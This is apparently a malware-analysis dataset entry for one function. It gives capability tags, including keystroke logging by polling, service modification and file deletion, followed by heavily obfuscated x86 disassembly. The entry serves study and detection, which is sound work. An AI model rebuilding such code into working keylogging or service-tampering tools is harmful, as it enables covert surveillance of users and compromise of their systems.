Function at 0x46acd3
Capabilities:
Create directory
Delete file
Get common file path
Get disk size
Get graphical window text
Get keyboard layout
Log keystrokes via polling
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb88
push ebx
push esi
push edi
push 3
pop edi
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x4a4]
mov dword [ebp - 0x30], 9
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x34], 0xd7d393e7
push edi
mov byte [ebp - 0x65], dl
call fcn.00421789
mov dword [ebp - 0x24], 0x7c869b7d
xor esi, esi
mov dword [ebp - 0x24], 8
inc esi
mov dword [ebp - 0x24], esi
xor eax, eax
mov dword [ebp - 0x24], 0xfbf26171
mov dword [ebp - 8], eax
jmp 0x46ad3a
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x4a4]
mov dword [eax + ecx*4], 0xe61780ee
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46ad27
inc dword [ebp - 0x30]
xor ebx, ebx
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x58]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x4a4]
setg bl
xor edx, edx
mov dword [eax + 4], 2
mov eax, dword [ebp - 0x58]
dec dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x30]
cmp eax, 0x3d59
setl dl
sub edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x58]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, 0xfff8
setne cl
xor eax, eax
cmp ebx, ecx
setne al
xor edx, edx
sub eax, dword [ebp - 0x58]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
lea ecx, [ebp - 0x4a4]
setge dl
sub edx, dword [ebp - 0x58]
add edx, dword [ebp - 0x58]
mov dword [ebp - 0x24], edx
call fcn.00421a31
mov eax, dword [0x4bba0c]
lea ecx, [ebp - 0x2c4]
mov dword [ebp - 0xc], 0x53b26bdd
mov dword [ebp - 0x48], 0x8f90a3cf
mov dword [ebp - 0x14], 0xa67606e8
mov dword [ebp - 0x24], 0xdfce9586
push esi
mov dword [ebp - 0x58], eax
call fcn.00421789
push 2
pop ebx
push ebx
lea ecx, [ebp - 0x384]
call fcn.00421789
or edx, 0xffffffff
xor eax, eax
mov dword [ebp - 0x18], edx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x46ae33
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c4]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46ae1d
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x46ae51
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x384]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x46ae3b
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xe
push 0xfffffffffffffffd
pop eax
jg 0x46b0ae
lea edi, [ebp - 0x8c4]
lea ebx, [ebp - 0x8b4]
jmp 0x46ae72
or edx, 0xffffffff
mov dword [ebp - 0x30], 0xb7f37c04
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0x63090707
mov dword [ebp - 8], edx
mov dword [ebp - 0x18], 0xfdda7840
push ecx
mov dword [ebp - 0x24], 0xb9bdd189
lea ecx, [ebp - 0x9a4]
mov dword [ebp - 0x28], eax
push ebx
mov dword [ebp - 0x44], 0x513e67dc
mov dword [ebp - 0x40], 6
mov dword [ebp - 0x18], 0x5a1b5826
push edi
movdqu xmmword [ebp - 0x8c4], xmm0
call fcn.004217ff
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x46aecf
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, esi
setle cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
je 0x46afd1
mov dword [ebp - 0x38], 0x2324015f
xor ecx, ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x24], 0x3c444c9c
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x48], 0x291920b2
mov eax, dword [ebp - 0x48]
cmp eax, 0xffffa903
setne cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
sub eax, 4
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x34]
jle 0x46af2b
xor eax, eax
cmp dword [ebp - 0x34], eax
jne 0x46af2b
mov esi, eax
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0xc]
setl dl
xor ecx, ecx
cmp edx, esi
setl cl
sub ecx, 0x46552ded
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0xc]
setg dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
dec eax
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 0xfffffffe
setle cl
xor eax, eax
or edx, 0xffffffff
cmp ecx, edx
setle al
xor edx, edx
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0xc]
setl dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c4]
sub ecx, 0xf34d89bb
neg ecx
sbb ecx, ecx
xor esi, esi
inc ecx
inc esi
mov dword [eax], ecx
jmp 0x46b037
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jle 0x46b01a
or ecx, 0xffffffff
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x14], eax
jmp 0x46b00c
cmp dword [ebp - 0x30], eax
je 0x46afef
dec dword [ebp - 0x24]
jmp 0x46b009
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x46b009
push eax
push 0x2092
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
or ecx, 0xffffffff
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jg 0x46afe5
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jg 0x46afdd
mov dword [ebp - 0x14], eax
jmp 0x46b032
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c4]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x46b01f
mov eax, dword [ebp - 0x384]
xor edx, edx
dec dword [eax]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 8]
cmp ecx, eax
setge dl
xor eax, eax
mov dword [ebp - 0x14], edx
mov edx, eax
cmp dword [ebp - 0x14], eax
je 0x46b060
mov edx, esi
mov eax, dword [ebp - 0x44]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x384]
setg cl
cmp dword [eax], ecx
jle 0x46b077
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x2c4]
neg ecx
sbb ecx, ecx
neg ecx
mov eax, dword [eax]
add eax, ecx
lea ecx, [ebp - 0x9a4]
mov dword [ebp - 0x24], eax
call fcn.00421a31
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xe
push 0xfffffffffffffffd
pop eax
jle 0x46ae6f
push 3
pop edi
push 2
pop ebx
lea ecx, [ebp - 0x384]
call fcn.00421a31
lea ecx, [ebp - 0x2c4]
call fcn.00421a31
mov dword [ebp - 0x30], 0xfffffff9
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x30], 0xfffffff5
cmp dword [ebp - 0x30], 0x13
jg 0x46b243
xor eax, eax
mov dword [ebp - 0xc], 0xe5ccc90a
mov dword [ebp - 0x1c], 0xb31cf6a1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffeb
jl 0x46b236
push esi
lea ecx, [ebp - 0x2d0]
call fcn.00421789
mov dword [ebp - 0x20], 0xc257a10d
xor eax, eax
mov dword [ebp - 0x48], 0x8ee8
mov dword [ebp - 0x34], 0x1543f36f
mov dword [ebp - 8], eax
jmp 0x46b133
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x2d0]
mov dword [eax + ecx*4], esi
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x46b124
mov eax, dword [ebp - 0xc]
xor edx, edx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
cmp ecx, eax
setne dl
xor ecx, ecx
add edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x20]
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2d0]
dec dword [eax]
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], esi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x24], eax
jne 0x46b206
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], esi
jge 0x46b1ba
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x228], 0x27fd5d1a
inc dword [ebp - 8]
cmp dword [ebp - 8], esi
jl 0x46b1a2
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x46b20f
mov dword [ebp - 0x38], 0xffff
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x228]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2d0]
cmp dword [eax + ecx*4], esi
mov eax, dword [ebp - 0xc]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x20], ecx
dec dword [ebp - 0x1c]
jns 0x46b1c2
jmp 0x46b20f
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x38], 0
jne 0x46b229
lea ecx, [ebp - 0x2d0]
call fcn.00421a31
dec dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xffffffeb
jge 0x46b0fc
jmp 0x46b234
lea ecx, [ebp - 0x2d0]
call fcn.00421a31
xor eax, eax
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0x13
jle 0x46b0e1
mov dword [ebp - 0x20], 9
xor eax, eax
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x30], esi
mov dword [ebp - 8], eax
cmp dword [ebp - 8], edi
jge 0x46b272
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x9d4], 0x1101
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46b25a
xor eax, eax
mov dword [ebp - 0x30], 0xffffffe5
cmp dword [ebp - 0x30], 0xf
jg 0x46b310
jmp 0x46b287
xor eax, eax
mov dword [ebp - 0x24], 0x25cbd945
mov dword [ebp - 0x38], 0xf1f13b01
mov dword [ebp - 8], eax
jmp 0x46b2ab
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x9bc], 6
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46b29a
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x9bc], esi
cmp dword [ebp - 0x30], esi
jle 0x46b2ca
xor eax, eax
cmp dword [ebp - 0x9cc], eax
jne 0x46b2ca
mov esi, eax
mov ecx, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x30]
cmp eax, ecx
setg dl
xor eax, eax
cmp edx, esi
setg al
mov dword [ebp - 0x38], eax
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], al
je 0x46b300
push 0x754
push 0xfc
push 0x100d
call dword [sym.imp.USER32.dll_SetWindowLongW]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xf
push 1
pop esi
jle 0x46b285
mov dword [ebp - 0x44], 0xd7d393e7
or eax, 0xffffffff
mov dword [ebp - 0x48], 0xdb3ae355
mov dword [ebp - 0x24], 0x7ab6
mov dword [ebp - 8], eax
mov dword [ebp - 0x38], 0x9ae4f78d
mov dword [ebp - 0x38], 0xcdd711a5
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x4c], 0xd20a2e71
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x38], 0xa6d786ff
mov dword [ebp - 0x18], 0x2fc53d8b
mov dword [ebp - 0x50], 0x93046aa1
mov dword [ebp - 0x18], 0xcaa7054f
push 0xfffffffffffffff6
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x28], 0xffff
mov dword [ebp - 0x88], eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jge 0x46b39a
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x444], 0x3b00b722
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x46b382
xor eax, eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0x12
jg 0x46b50c
jmp 0x46b3ab
xor eax, eax
mov dword [ebp - 0x30], 0xd2e8
lea ecx, [ebp - 0x36c]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x4c], 0xa67f6a19
push esi
call fcn.00421789
mov dword [ebp - 0x4c], 0xdda5659c
or eax, 0xffffffff
mov dword [ebp - 0x34], eax
xor eax, eax
mov dword [ebp - 0x14], 0x71be33bd
mov dword [ebp - 0x40], 7
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x46b40a
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x36c]
mov dword [eax + ecx*4], 0x818f8f6a
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46b3f0
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x46b420
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x43c], 7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x46b40f
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x83dc0e3e
ja 0x46b443
xor eax, eax
mov edx, eax
cmp dword [ebp - 0x48], eax
je 0x46b445
mov edx, esi
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, edx
setge cl
xor eax, eax
imul ecx, dword [ebp - 0x30]
cmp ecx, 0xa8bc
setl al
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x38], eax
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x36c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
imul eax, ecx
test eax, eax
je 0x46b4a2
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x438]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x440]
mov eax, dword [ebp - 0x36c]
mov dword [eax], esi
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x440]
dec dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x38], eax
jl 0x46b4bf
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
cmp eax, 0x9dd62858
setne dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x43c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
mov eax, dword [ebp - 8]
setg cl
sub eax, ecx
lea ecx, [ebp - 0x36c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x4c], eax
call fcn.00421a31
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], 0x12
jle 0x46b3a9
push edi
lea ecx, [ebp - 0x480]
call fcn.00421789
mov dword [ebp - 0x14], 0xfffffffc
xor eax, eax
mov dword [ebp - 8], 0xfffffff6
mov dword [ebp - 0x48], 0xcdfd
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x46b54f
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x70], 0x6af1124f
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x46b53a
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x46b56f
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xd0], 0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x46b557
xor eax, eax
mov dword [ebp - 0x14], eax
mov ecx, 0x86aeba4d
cmp dword [ebp - 0x14], esi
jg 0x46b677
mov dword [ebp - 0x18], 4
mov dword [ebp - 0x28], 0xfb9a31c0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
cmp dword [ebp - 0x70], eax
jne 0x46b5b9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x18], eax
je 0x46b5b9
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
cmp eax, esi
setne cl
neg ecx
mov dword [ebp - 8], ecx
xor ecx, ecx
mov eax, dword [ebp - 8]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x70]
cmp eax, 0x6d5d
setl cl
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
xor eax, eax
cmp ecx, 0xfffffff9
setne al
xor ebx, ebx
mov dword [ebp - 8], eax
mov edx, dword [ebp - 8]
mov dword [ebp - 0xd0], edx
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x28]
sub edx, eax
mov eax, dword [ebp - 0x70]
dec ecx
add edx, ecx
mov ecx, dword [ebp - 0x14]
add edx, eax
mov eax, dword [ebp - 0x70]
cmp eax, ecx
mov eax, dword [ebp - 0x14]
setge bl
sub eax, edx
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
cmp ebx, eax
mov eax, dword [ebp - 0x48]
setl cl
add eax, ecx
mov ecx, 0x86aeba4d
imul eax, dword [ebp - 0x28]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jle 0x46b580
push 2
xor eax, eax
pop ebx
mov dword [ebp - 0x14], edi
jmp 0x46b74b
mov dword [ebp - 0xc], 0x49dd
mov dword [ebp - 0x30], 0x63ccf75b
mov dword [ebp - 0xc], 0xbf60700c
mov dword [ebp - 0x48], eax
jmp 0x46b73f
mov dword [ebp - 0xc], eax
jmp 0x46b713
mov dword [ebp - 8], 0x13d7aff7
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jg 0x46b710
mov eax, dword [ebp - 0x48]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xd0]
cmp eax, 0x47ca
setl cl
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp + eax*4 - 0xd0]
cmp eax, dword [ebp - 0x30]
jle 0x46b6e5
cmp dword [ebp - 8], 0x94d23a2c
sbb eax, eax
inc eax
mov dword [ebp - 0x30], eax
jmp 0x46b706
xor eax, eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], eax
jl 0x46b706
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x46b701
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor eax, eax
dec dword [ebp - 8]
jns 0x46b6ef
inc dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
jle 0x46b6b0
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], eax
jle 0x46b6a1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], eax
jl 0x46b73c
mov dword [ebp - 0x24], 0x226f
mov dword [ebp - 0x30], eax
jmp 0x46b732
inc dword [ebp - 0x24]
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jle 0x46b72c
dec dword [ebp - 0x1c]
jns 0x46b720
inc dword [ebp - 0x48]
cmp dword [ebp - 0x48], eax
jle 0x46b69c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x18
jle 0x46b67f
mov dword [ebp - 0x24], 0x7c869b7d
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 8], eax
cmp dword [ebp - 8], edi
jge 0x46b783
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0x9ec], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46b76b
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff0
jle 0x46b7fb
push ebx
lea ecx, [ebp - 0x4b0]
call fcn.00421789
xor eax, eax
mov dword [ebp - 0x18], 0xfffffffb
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], ebx
jge 0x46b7c3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x4b0]
mov dword [eax + ecx*4], 7
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], ebx
jl 0x46b7a9
xor eax, eax
mov dword [ebp - 0xc], eax
jmp 0x46b7d5
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xb74], esi
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x46b7c8
mov eax, dword [ebp - 0x4b0]
lea ecx, [ebp - 0x4b0]
and dword [eax + 4], 0
call fcn.00421a31
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffff0
jg 0x46b78c
xor eax, eax
mov dword [ebp - 0x14], eax
jmp 0x46b80d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x9ec], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x46b800
mov dword [ebp - 0x24], 8
lea ecx, [ebp - 0x5a0]
mov dword [ebp - 0x28], 0xd6c05baf
push 4
call fcn.00421789
or eax, 0xffffffff
mov dword [ebp - 0x18], eax
xor eax, eax
push 4
mov dword [ebp - 8], eax
pop edx
cmp dword [ebp - 8], edx
jge 0x46b85a
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x5a0]
mov dword [eax + ecx*4], 0x8e17b844
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x46b840
xor eax, eax
mov dword [ebp - 0x28], eax
jmp 0x46b8c9
mov dword [ebp - 8], 9
mov dword [ebp - 0x24], 9
mov dword [ebp - 8], eax
cmp dword [ebp - 8], edx
jge 0x46b88d
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xa1c], 0
inc dword [ebp - 8]
cmp dword [ebp - 8], edx
jl 0x46b875
xor eax, eax
mov dword [ebp - 8], edi
cmp dword [ebp - 8], eax
jl 0x46b8c6
mov dword [ebp - 0x24], 0x90ef307d
xor ecx, ecx
mov eax, dword [ebp - 8]
cmp dword [ebp + eax*4 - 0xa1c], ecx
jne 0x46b8c4
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x5a0]
mov dword [eax + 0xc], ecx
dec dword [ebp - 8]
jns 0x46b895
xor eax, eax
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x1d
jne 0x46b85f
lea ecx, [ebp - 0x5a0]
call fcn.00421a31
mov dword [ebp - 0x24], esi
lea ecx, [ebp - 0x794]
mov dword [ebp - 0x18], 0xfbf26171
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], 0xf2c29a3d
mov dword [ebp - 0x18], 0x75c19c5a
mov dword [ebp - 0x18], 0xd3f46721
mov dword [ebp - 0x18], 0x1e29ea41
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], 0xfa72c25f
mov dword [ebp - 0x18], esi
push ebx
call fcn.00421789
mov dword [ebp - 0x18], 0x6d8d3833
xor eax, eax
mov dword [ebp - 0x18], 0x3ec9
mov dword [ebp - 0x24], 0xfffffff6
mov dword [ebp - 8], eax
cmp dword [ebp - 8], ebx
jge 0x46b955
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x794]
mov dword [eax + ecx*4], 7
inc dword [ebp - 8]
cmp dword [ebp - 8], ebx
jl 0x46b93b
xor eax, eax
mov byte [ebp - 0x29], al
cmp byte [ebp - 0x29], 0
je 0x46b96b
push 0x1a4f
push eax
push eax
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
inc dword [ebp - 0x24]
lea ecx, [ebp - 0x794]
call fcn.00421a31
mov dword [ebp - 0x1c], 0xfffffff6
or eax, 0xffffffff
mov dword [ebp - 0x34], 0x40a98cee
mov dword [ebp - 0x28], eax
xor eax, eax
mov dword [ebp - 0x48], 0xdae89405
mov dword [ebp - 0x24], 0xaf849fb9
mov dword [ebp - 0x24], 6
mov dword [ebp - 8], eax
cmp dword [ebp - 8], edi
jge 0x46b9c4
mov eax, dword [ebp - 8]
mov dword [ebp + eax*4 - 0xa04], 0x6a8acdd1
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46b9ac
xor eax, eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x1c], 0xc1c5
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x1c]
jge 0x46b9eb
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xa32987c8
sbb eax, eax
neg eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x9fc], eax
xor eax, eax
mov dword [ebp - 8], eax
jmp 0x46ba4e
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x480]
mov dword [eax + ecx*4], 0xe61780ee
inc dword [ebp - 8]
cmp dword [ebp - 8], edi
jl 0x46ba3b
inc dword [ebp - 0x20]
xor ebx, ebx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
cmp eax, ecx
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x480]
setg bl
xor edx, edx
mov dword [eax + 4], 2
mov eax, dword [ebp - 0x3c]
dec dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x20]
cmp eax, 0x3d59
setl dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x3c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
cmp eax, 0xfff8
setne cl
xor eax, eax
cmp ebx, ecx
setne al
xor edx, edx
